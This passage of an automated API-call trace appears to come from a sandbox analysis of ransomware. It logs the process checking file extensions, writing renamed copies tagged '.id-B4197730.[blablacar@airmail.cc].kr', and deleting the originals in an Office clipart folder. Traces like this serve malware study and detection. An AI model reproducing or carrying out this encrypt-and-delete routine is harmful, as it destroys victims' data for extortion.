(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0185.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0185.038] lstrlenW (lpString=".doc") returned 4 [0185.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.038] lstrlenW (lpString=".docx") returned 5 [0185.038] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0185.038] lstrlenW (lpString=".pdf") returned 4 [0185.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.038] lstrlenW (lpString=".xls") returned 4 [0185.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.038] lstrlenW (lpString=".xlsx") returned 5 [0185.038] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0185.038] lstrlenW (lpString=".ppt") returned 4 [0185.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0185.038] lstrlenW (lpString=".zip") returned 4 [0185.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.039] lstrlenW (lpString=".rar") returned 4 [0185.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.039] lstrlenW (lpString=".bz2") returned 4 [0185.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.039] lstrlenW (lpString=".7z") returned 3 [0185.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0185.039] lstrlenW (lpString=".dbf") returned 4 [0185.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0185.039] lstrlenW (lpString=".1cd") returned 4 [0185.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0185.039] lstrlenW (lpString=".jpg") returned 4 [0185.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.039] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0185.039] lstrlenW (lpString="CUP.WMF") returned 7 [0185.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0185.040] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2966) returned 1 [0185.040] CloseHandle (hObject=0x500) returned 1 [0185.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0x220 [0185.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0185.040] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.040] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0185.041] GetLastError () returned 0x0 [0185.041] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xb96, lpOverlapped=0x0) returned 1 [0185.176] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xba0, lpOverlapped=0x0) returned 1 [0185.177] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.177] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xe2, lpOverlapped=0x0) returned 1 [0185.177] SetEndOfFile (hFile=0x4d8) returned 1 [0185.544] CloseHandle (hObject=0x4d8) returned 1 [0185.629] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.629] SetEndOfFile (hFile=0x500) returned 1 [0185.643] CloseHandle (hObject=0x500) returned 1 [0185.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1 [0185.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0185.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0185.644] lstrlenW (lpString=".doc") returned 4 [0185.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.644] lstrlenW (lpString=".docx") returned 5 [0185.644] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0185.644] lstrlenW (lpString=".pdf") returned 4 [0185.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.644] lstrlenW (lpString=".xls") returned 4 [0185.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.644] lstrlenW (lpString=".xlsx") returned 5 [0185.644] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0185.644] lstrlenW (lpString=".ppt") returned 4 [0185.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0185.644] lstrlenW (lpString=".zip") returned 4 [0185.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.644] lstrlenW (lpString=".rar") returned 4 [0185.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.644] lstrlenW (lpString=".bz2") returned 4 [0185.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.645] lstrlenW (lpString=".7z") returned 3 [0185.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0185.645] lstrlenW (lpString=".dbf") returned 4 [0185.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0185.645] lstrlenW (lpString=".1cd") returned 4 [0185.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0185.708] lstrlenW (lpString=".jpg") returned 4 [0185.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0185.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0185.708] lstrlenW (lpString=".doc") returned 4 [0185.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.708] lstrlenW (lpString=".docx") returned 5 [0185.708] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0185.708] lstrlenW (lpString=".pdf") returned 4 [0185.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.708] lstrlenW (lpString=".xls") returned 4 [0185.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.708] lstrlenW (lpString=".xlsx") returned 5 [0185.708] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0185.708] lstrlenW (lpString=".ppt") returned 4 [0185.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0185.708] lstrlenW (lpString=".zip") returned 4 [0185.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.709] lstrlenW (lpString=".rar") returned 4 [0185.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.709] lstrlenW (lpString=".bz2") returned 4 [0185.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.709] lstrlenW (lpString=".7z") returned 3 [0185.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0185.709] lstrlenW (lpString=".dbf") returned 4 [0185.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0185.709] lstrlenW (lpString=".1cd") returned 4 [0185.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0185.709] lstrlenW (lpString=".jpg") returned 4 [0185.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.709] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0185.709] lstrlenW (lpString="DD00117_.WMF") returned 12 [0185.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0185.710] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=31122) returned 1 [0185.710] CloseHandle (hObject=0x500) returned 1 [0185.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220 [0185.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0185.710] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.710] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0185.712] GetLastError () returned 0x0 [0185.712] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x7992, lpOverlapped=0x0) returned 1 [0185.714] WriteFile (in: hFile=0x51c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x79a0, lpOverlapped=0x0) returned 1 [0185.715] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.715] WriteFile (in: hFile=0x51c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.715] SetEndOfFile (hFile=0x51c) returned 1 [0185.716] CloseHandle (hObject=0x51c) returned 1 [0185.716] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.716] SetEndOfFile (hFile=0x500) returned 1 [0185.718] CloseHandle (hObject=0x500) returned 1 [0185.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0185.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0185.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0185.719] lstrlenW (lpString=".doc") returned 4 [0185.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.719] lstrlenW (lpString=".docx") returned 5 [0185.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.720] lstrlenW (lpString=".pdf") returned 4 [0185.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.720] lstrlenW (lpString=".xls") returned 4 [0185.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.720] lstrlenW (lpString=".xlsx") returned 5 [0185.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.720] lstrlenW (lpString=".ppt") returned 4 [0185.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0185.720] lstrlenW (lpString=".zip") returned 4 [0185.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.720] lstrlenW (lpString=".rar") returned 4 [0185.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.720] lstrlenW (lpString=".bz2") returned 4 [0185.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.720] lstrlenW (lpString=".7z") returned 3 [0185.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0185.720] lstrlenW (lpString=".dbf") returned 4 [0185.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0185.720] lstrlenW (lpString=".1cd") returned 4 [0185.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0185.720] lstrlenW (lpString=".jpg") returned 4 [0185.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0185.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0185.720] lstrlenW (lpString=".doc") returned 4 [0185.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.720] lstrlenW (lpString=".docx") returned 5 [0185.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.721] lstrlenW (lpString=".pdf") returned 4 [0185.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.721] lstrlenW (lpString=".xls") returned 4 [0185.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.721] lstrlenW (lpString=".xlsx") returned 5 [0185.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.721] lstrlenW (lpString=".ppt") returned 4 [0185.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0185.721] lstrlenW (lpString=".zip") returned 4 [0185.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.721] lstrlenW (lpString=".rar") returned 4 [0185.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.721] lstrlenW (lpString=".bz2") returned 4 [0185.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.721] lstrlenW (lpString=".7z") returned 3 [0185.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0185.721] lstrlenW (lpString=".dbf") returned 4 [0185.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0185.721] lstrlenW (lpString=".1cd") returned 4 [0185.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0185.721] lstrlenW (lpString=".jpg") returned 4 [0185.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.721] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0185.721] lstrlenW (lpString="DD00121_.WMF") returned 12 [0185.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0185.722] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=8256) returned 1 [0185.723] CloseHandle (hObject=0x500) returned 1 [0185.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x220 [0185.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0185.723] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.723] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0185.724] GetLastError () returned 0x0 [0185.724] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x2040, lpOverlapped=0x0) returned 1 [0185.725] WriteFile (in: hFile=0x51c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x2050, lpOverlapped=0x0) returned 1 [0185.726] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.726] WriteFile (in: hFile=0x51c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.726] SetEndOfFile (hFile=0x51c) returned 1 [0185.727] CloseHandle (hObject=0x51c) returned 1 [0185.727] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.727] SetEndOfFile (hFile=0x500) returned 1 [0185.729] CloseHandle (hObject=0x500) returned 1 [0185.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0185.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0185.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0185.730] lstrlenW (lpString=".doc") returned 4 [0185.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.730] lstrlenW (lpString=".docx") returned 5 [0185.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.731] lstrlenW (lpString=".pdf") returned 4 [0185.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.731] lstrlenW (lpString=".xls") returned 4 [0185.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.731] lstrlenW (lpString=".xlsx") returned 5 [0185.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.731] lstrlenW (lpString=".ppt") returned 4 [0185.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0185.731] lstrlenW (lpString=".zip") returned 4 [0185.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.731] lstrlenW (lpString=".rar") returned 4 [0185.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.731] lstrlenW (lpString=".bz2") returned 4 [0185.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.731] lstrlenW (lpString=".7z") returned 3 [0185.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0185.731] lstrlenW (lpString=".dbf") returned 4 [0185.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0185.731] lstrlenW (lpString=".1cd") returned 4 [0185.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0185.731] lstrlenW (lpString=".jpg") returned 4 [0185.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0185.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0185.732] lstrlenW (lpString=".doc") returned 4 [0185.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.732] lstrlenW (lpString=".docx") returned 5 [0185.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.732] lstrlenW (lpString=".pdf") returned 4 [0185.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.732] lstrlenW (lpString=".xls") returned 4 